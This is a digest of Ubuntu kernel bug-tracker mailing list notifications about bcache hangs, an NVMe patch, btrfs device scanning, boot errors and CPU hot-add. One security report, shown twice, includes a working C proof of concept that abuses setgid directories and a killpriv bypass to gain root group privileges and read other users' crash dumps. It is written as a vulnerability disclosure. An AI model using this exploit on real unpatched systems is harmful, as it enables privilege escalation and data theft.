Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Bionic:
  In Progress
Status in linux source package in Cosmic:
  In Progress

Bug description:
  $ cat /proc/version_signature 
  Ubuntu 4.15.0-29.31-generic 4.15.18

  $ lsb_release -rd
  Description:  Ubuntu Cosmic Cuttlefish (development branch)
  Release:  18.10

  $ apt-cache policy linux-image-`uname -r`
  linux-image-4.15.0-29-generic:
Installed: 4.15.0-29.31
Candidate: 4.15.0-29.31
Version table:
   *** 4.15.0-29.31 500
  500 http://archive.ubuntu.com/ubuntu cosmic/main amd64 Packages
  100 /var/lib/dpkg/status

  
  3) mkfs.ext4 /dev/bcache0 returns successful creating an ext4 filesystem on 
top of a bcache device

  4) mkfs.ext4 doesn't return and kernel prints hung process info

  [   58.018099] cloud-init[920]: Running command ['mkfs.ext4', '-F', '-L', 
'root-fs', '-U', 'f01aec97-9457-11e8-b8d6-525400123401', '/dev/bcache0'] with 
allowed return codes [0] (capture=True)
  [  242.652018] INFO: task kworker/u4:0:5 blocked for more than 120 seconds.
  [  242.653767]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.655391] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  242.657397] INFO: task kworker/0:2:410 blocked for more than 120 seconds.
  [  242.659126]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.660980] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  242.663000] INFO: task bcache_allocato:2326 blocked for more than 120 
seconds.
  [  242.664807]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.666516] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  242.668503] INFO: task bcache_writebac:2345 blocked for more than 120 
seconds.
  [  242.670301]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.671936] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  242.673909] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds.
  [  242.675414]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.677038] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.483998] INFO: task kworker/u4:0:5 blocked for more than 120 seconds.
  [  363.488441]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.489598] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.491043] INFO: task kworker/0:2:410 blocked for more than 120 seconds.
  [  363.492252]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.494085] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.495659] INFO: task bcache_allocato:2326 blocked for more than 120 
seconds.
  [  363.496957]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.498454] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.499866] INFO: task bcache_writebac:2345 blocked for more than 120 
seconds.
  [  363.501156]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.502597] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.504048] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds.
  [  363.505505]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.506677] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.

  
  System has two virtio block devices.  bcache was created like so:

  make-bcache -C /dev/vdb
  make-bcache -B /dev/vda2

  resulting in /dev/bcache0

  ProblemType: Bug
  DistroRelease: Ubuntu 18.10
  Package: linux-image-4.15.0-29-generic 4.15.0-29.31
  ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18
  Uname: Linux 4.15.0-29-generic x86_64
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Jul 31 15:52 seq
   crw-rw 1 root audio 116, 33 Jul 31 15:52 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
  ApportVersion: 2.20.10-0ubuntu7
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 
'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CRDA: N/A
  Date: Tue Jul 31 15:53:56 2018
  IwConfig: Error: [Errno 2] No such file or 

[Kernel-packages] [Bug 1788222] Re: Bugfix for handling of shadow doorbell buffer

2018-08-21 Thread Kleber Sacilotto de Souza
SRU request:
https://lists.ubuntu.com/archives/kernel-team/2018-August/094767.html

** Also affects: linux (Ubuntu)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Also affects: linux-gcp (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Cosmic)
   Importance: Undecided
   Status: New

** Also affects: linux-gcp (Ubuntu Cosmic)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: linux-gcp (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Xenial)
   Status: New => In Progress

** Changed in: linux (Ubuntu Bionic)
   Status: New => In Progress

** Changed in: linux (Ubuntu Cosmic)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-gcp in Ubuntu.
https://bugs.launchpad.net/bugs/1788222

Title:
  Bugfix for handling of shadow doorbell buffer

Status in linux package in Ubuntu:
  In Progress
Status in linux-gcp package in Ubuntu:
  New
Status in linux source package in Xenial:
  In Progress
Status in linux-gcp source package in Xenial:
  New
Status in linux source package in Bionic:
  In Progress
Status in linux-gcp source package in Bionic:
  New
Status in linux source package in Cosmic:
  In Progress
Status in linux-gcp source package in Cosmic:
  New

Bug description:
  This request is to pull in the following patch for NVMe bug from
  https://lore.kernel.org/patchwork/patch/974880/ in the linux-gcp
  kernel:

  ===
  This patch adds full memory barrier into nvme_dbbuf_update_and_check_event
  function to ensure that the shadow doorbell is written before reading
  EventIdx from memory. This is a critical bugfix for initial patch that
  added support for shadow doorbell into NVMe driver[...].

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788222/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

2018-08-21 Thread Tyler Hicks
@jannh you can ignore the request in comment #12 to verify the fixes in
the -proposed kernels. Thanks again for bringing this to our attention.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Trusty:
  Fix Committed
Status in linux source package in Xenial:
  Fix Committed
Status in linux source package in Bionic:
  Fix Committed
Status in linux source package in Cosmic:
  In Progress

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
  err(1, "open");
if (fallocate(fd, 0, 0, src_len))
  err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 
0);
if (mapping == MAP_FAILED)
  err(1, "mmap");

  
memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
  }
  user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
  user@debian:~/sgid_demo$ ./fallocate
  uid=1000(user) gid=1000(user) egid=0(root)
  
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
  =

  
  sys_copy_file_range() also looks as if it bypasses killpriv on
  supported filesystems, but I haven't tested that one so far.

  On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
  contains group-readable crashdumps in some custom format, so you can use this
  issue to steal other users' crashdumps:

  
  =
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 296
  -rw-r- 1 user whoopsie  16527 Jun 25 22:27 
_usr_bin_apport-unpack.1000.crash
  -rw-r- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  -rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
  -rw-r- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
  user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
  cat: /var/crash/_usr_bin_id.0.crash: Permission denied
  user@ubuntu-18-04-vm:~$ cat fallocate.c 
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(int argc, char **argv) {
if (argc != 2) {
  printf("usage: ./fallocate ");
  return 1;
}
  

[Kernel-packages] [Bug 1788233] Status changed to Confirmed

2018-08-21 Thread Ubuntu Kernel Bot
This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788233

Title:
  errors at boot-up

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  ubuntu 16.04 lts 32 bit

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-133-generic 4.4.0-133.159
  ProcVersionSignature: Ubuntu 4.4.0-133.159-generic 4.4.134
  Uname: Linux 4.4.0-133-generic i686
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: i386
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC3:  dminor2351   2268 F pulseaudio
   /dev/snd/controlC2:  dminor2351   2268 F pulseaudio
   /dev/snd/pcmC0D0p:   dminor2351   2268 F...m pulseaudio
   /dev/snd/controlC0:  dminor2351   2268 F pulseaudio
  CurrentDesktop: Unity
  Date: Tue Aug 21 11:49:38 2018
  HibernationDevice: RESUME=UUID=189383ed-0452-465f-bb0e-64c387d088b5
  InstallationDate: Installed on 2014-04-09 (1595 days ago)
  InstallationMedia: Ubuntu 12.04.4 LTS "Precise Pangolin" - Release i386 
(20140204)
  MachineType: System manufacturer System Product Name
  ProcFB:
   
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-133-generic 
root=UUID=6c63c703-d60d-4b3f-902a-5bc074517498 ro plymouth:debug drm.debug=0xe
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-133-generic N/A
   linux-backports-modules-4.4.0-133-generic  N/A
   linux-firmware 1.157.20
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/20/2005
  dmi.bios.vendor: Phoenix Technologies, LTD
  dmi.bios.version: ASUS A8N-E ACPI BIOS Revision 1004
  dmi.board.name: A8N-E
  dmi.board.vendor: ASUSTeK Computer INC.
  dmi.board.version: 2.XX
  dmi.chassis.asset.tag: 123456789000
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnPhoenixTechnologies,LTD:bvrASUSA8N-EACPIBIOSRevision1004:bd05/20/2005:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnA8N-E:rvr2.XX:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.name: System Product Name
  dmi.product.version: System Version
  dmi.sys.vendor: System manufacturer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788233/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1752961] Re: With kernel 4.13 btrfs scans for devices before all devices have been discovered

2018-08-21 Thread Joseph Salisbury
That's good news.  We now have to identify the fix in 4.18 and ensure it
is applied to Ubuntu.  Can you test the following two upstream stable
kernels to see if the fix was already sent to stable:

4.15.18: http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.15.18/
4.17.17: http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.17.17/

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1752961

Title:
  With kernel 4.13 btrfs scans for devices before all devices have been
  discovered

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Artful:
  Won't Fix
Status in linux source package in Bionic:
  In Progress
Status in linux source package in Cosmic:
  In Progress

Bug description:
  See attached dmesg outputs for booting kernels 4.11.x (working) and
  4.13.x (not working).

  dmesg-4.11.0-14-good.txt shows the dmesg output when booting kernel 4.11.x.
  btrfs scans for devices after all 4 (sda, sdb, sdc, sdd) of the devices have 
been discovered by the kernel.  The btrfs RAID1 filesystem mounts, and 
everything is good.

  dmesg-4.13.0-36-fail.txt shows the dmesg output when booting kernel 4.13.x.
  btrfs scans for devices after only 2 (sda, sdb) of the devices have been 
discovered by the kernel.  The btrfs RAID1 filesystem fails to mount ("failed 
to read the system array: -5").  The remaining 2 devices (sdc, sdd) are 
discovered by the kernel immediately afterward.  At the end of the log, I run 
`btrfs device scan` and mount the filesystem manually.

  Hardware:
HP ProLiant MicroServer Gen8
4x WDC WD20EFRX
  --- 
  AlsaDevices: Error: command ['ls', '-l', '/dev/snd/'] failed with exit code 
2: ls: cannot access '/dev/snd/': No such file or directory
  AplayDevices: aplay: device_list:270: no soundcards found...
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  ArecordDevices: arecord: device_list:270: no soundcards found...
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2015-10-15 (933 days ago)
  InstallationMedia: Xubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422.1)
  MachineType: HP ProLiant MicroServer Gen8
  Package: linux (not installed)
  ProcEnviron:
   TERM=linux
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.15.0-20-generic 
root=UUID=d976ab07-8377-46dd-ac6c-f5f7312a8305 ro rootflags=subvol=@ 
rootdelay=10
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  Tags:  bionic apport-hook-error
  Uname: Linux 4.15.0-20-generic x86_64
  UnreportableReason: This report is about a package that is not installed.
  UpgradeStatus: Upgraded to bionic on 2018-05-05 (0 days ago)
  UserGroups:
   
  _MarkForUpload: True
  dmi.bios.date: 07/16/2015
  dmi.bios.vendor: HP
  dmi.bios.version: J06
  dmi.chassis.type: 7
  dmi.chassis.vendor: HP
  dmi.modalias: 
dmi:bvnHP:bvrJ06:bd07/16/2015:svnHP:pnProLiantMicroServerGen8:pvr:cvnHP:ct7:cvr:
  dmi.product.family: ProLiant
  dmi.product.name: ProLiant MicroServer Gen8
  dmi.sys.vendor: HP

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1752961/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

2018-08-21 Thread Tyler Hicks
I've verified the fix by testing the following kernels:

4.17.0-7.8-generic
4.15.0-33.36-generic
4.4.0-134.160-generic
3.13.0-157.207-generic


** Tags removed: verification-needed-bionic verification-needed-trusty 
verification-needed-xenial
** Tags added: verification-done-bionic verification-done-trusty 
verification-done-xenial

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Trusty:
  Fix Committed
Status in linux source package in Xenial:
  Fix Committed
Status in linux source package in Bionic:
  Fix Committed
Status in linux source package in Cosmic:
  In Progress

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
  err(1, "open");
if (fallocate(fd, 0, 0, src_len))
  err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 
0);
if (mapping == MAP_FAILED)
  err(1, "mmap");

  
memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
  }
  user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
  user@debian:~/sgid_demo$ ./fallocate
  uid=1000(user) gid=1000(user) egid=0(root)
  
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
  =

  
  sys_copy_file_range() also looks as if it bypasses killpriv on
  supported filesystems, but I haven't tested that one so far.

  On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
  contains group-readable crashdumps in some custom format, so you can use this
  issue to steal other users' crashdumps:

  
  =
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 296
  -rw-r- 1 user whoopsie  16527 Jun 25 22:27 
_usr_bin_apport-unpack.1000.crash
  -rw-r- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  -rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
  -rw-r- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
  user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
  cat: /var/crash/_usr_bin_id.0.crash: Permission denied
  user@ubuntu-18-04-vm:~$ cat fallocate.c 
  #define _GNU_SOURCE
  #include 
  #include 
 

[Kernel-packages] [Bug 1788233] [NEW] errors at boot-up

2018-08-21 Thread David Minor
Public bug reported:

ubuntu 16.04 lts 32 bit

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: linux-image-4.4.0-133-generic 4.4.0-133.159
ProcVersionSignature: Ubuntu 4.4.0-133.159-generic 4.4.134
Uname: Linux 4.4.0-133-generic i686
ApportVersion: 2.20.1-0ubuntu2.18
Architecture: i386
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC3:  dminor2351   2268 F pulseaudio
 /dev/snd/controlC2:  dminor2351   2268 F pulseaudio
 /dev/snd/pcmC0D0p:   dminor2351   2268 F...m pulseaudio
 /dev/snd/controlC0:  dminor2351   2268 F pulseaudio
CurrentDesktop: Unity
Date: Tue Aug 21 11:49:38 2018
HibernationDevice: RESUME=UUID=189383ed-0452-465f-bb0e-64c387d088b5
InstallationDate: Installed on 2014-04-09 (1595 days ago)
InstallationMedia: Ubuntu 12.04.4 LTS "Precise Pangolin" - Release i386 
(20140204)
MachineType: System manufacturer System Product Name
ProcFB:
 
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-133-generic 
root=UUID=6c63c703-d60d-4b3f-902a-5bc074517498 ro plymouth:debug drm.debug=0xe
RelatedPackageVersions:
 linux-restricted-modules-4.4.0-133-generic N/A
 linux-backports-modules-4.4.0-133-generic  N/A
 linux-firmware 1.157.20
RfKill:
 0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
SourcePackage: linux
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 05/20/2005
dmi.bios.vendor: Phoenix Technologies, LTD
dmi.bios.version: ASUS A8N-E ACPI BIOS Revision 1004
dmi.board.name: A8N-E
dmi.board.vendor: ASUSTeK Computer INC.
dmi.board.version: 2.XX
dmi.chassis.asset.tag: 123456789000
dmi.chassis.type: 3
dmi.chassis.vendor: Chassis Manufacture
dmi.chassis.version: Chassis Version
dmi.modalias: 
dmi:bvnPhoenixTechnologies,LTD:bvrASUSA8N-EACPIBIOSRevision1004:bd05/20/2005:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnA8N-E:rvr2.XX:cvnChassisManufacture:ct3:cvrChassisVersion:
dmi.product.name: System Product Name
dmi.product.version: System Version
dmi.sys.vendor: System manufacturer

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: Confirmed


** Tags: apport-bug i386 xenial

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788233

Title:
  errors at boot-up

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  ubuntu 16.04 lts 32 bit

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-133-generic 4.4.0-133.159
  ProcVersionSignature: Ubuntu 4.4.0-133.159-generic 4.4.134
  Uname: Linux 4.4.0-133-generic i686
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: i386
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC3:  dminor2351   2268 F pulseaudio
   /dev/snd/controlC2:  dminor2351   2268 F pulseaudio
   /dev/snd/pcmC0D0p:   dminor2351   2268 F...m pulseaudio
   /dev/snd/controlC0:  dminor2351   2268 F pulseaudio
  CurrentDesktop: Unity
  Date: Tue Aug 21 11:49:38 2018
  HibernationDevice: RESUME=UUID=189383ed-0452-465f-bb0e-64c387d088b5
  InstallationDate: Installed on 2014-04-09 (1595 days ago)
  InstallationMedia: Ubuntu 12.04.4 LTS "Precise Pangolin" - Release i386 
(20140204)
  MachineType: System manufacturer System Product Name
  ProcFB:
   
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-133-generic 
root=UUID=6c63c703-d60d-4b3f-902a-5bc074517498 ro plymouth:debug drm.debug=0xe
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-133-generic N/A
   linux-backports-modules-4.4.0-133-generic  N/A
   linux-firmware 1.157.20
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/20/2005
  dmi.bios.vendor: Phoenix Technologies, LTD
  dmi.bios.version: ASUS A8N-E ACPI BIOS Revision 1004
  dmi.board.name: A8N-E
  dmi.board.vendor: ASUSTeK Computer INC.
  dmi.board.version: 2.XX
  dmi.chassis.asset.tag: 123456789000
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnPhoenixTechnologies,LTD:bvrASUSA8N-EACPIBIOSRevision1004:bd05/20/2005:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnA8N-E:rvr2.XX:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.name: System Product Name
  dmi.product.version: System Version
  dmi.sys.vendor: System manufacturer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788233/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1755393] Re: hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit and ubuntu-18.04-desktop hang

2018-08-21 Thread Joseph Salisbury
The Bionic Ubuntu-4.15.0-14 kernel has the following commit:

540111689a84 blk-mq: turn WARN_ON in __blk_mq_run_hw_queue into printk

Does this bug exist with that kernel version or newer?

** Changed in: linux (Ubuntu)
   Status: Triaged => In Progress

** Changed in: linux (Ubuntu Bionic)
   Status: Triaged => In Progress

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1755393

Title:
  hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit and
  ubuntu-18.04-desktop hang

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Bionic:
  In Progress

Bug description:
  hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit hang in ESXi

  Reproduce:
  -
  1. create VM with EFI firewall in ESXi

  2. install geustOS with ubuntu16.04.4-dsktop-64bit image.

  3. reboot it after finish installation

  4. edit VM setting and enable hot-add CPU and memory

  5. edit VM setting and set default 1 vCPU to 2

  6. open a terminal and run script to enable vcpu1: "sudo
  ~/rescanCpu.sh"

  7. check the cpu number with command "cat /proc/cpuinfo" in terminal.
  but there is not output message for this command.  click anywhere on
  VM desktop, there is no response. It seems like VM hang.

  
  From vmware developer's analysis:
  

  Looks to me like Ubuntu's problem.  It noticed at 566 seconds after
  boot that CPU1 was hot-added.  Then perhaps you run code to online
  CPU, and doing so ended up with warning at blk-mq.c:

  Mar  6 17:41:33 vmware-virtual-machine kernel: [  566.583896] CPU1 has been 
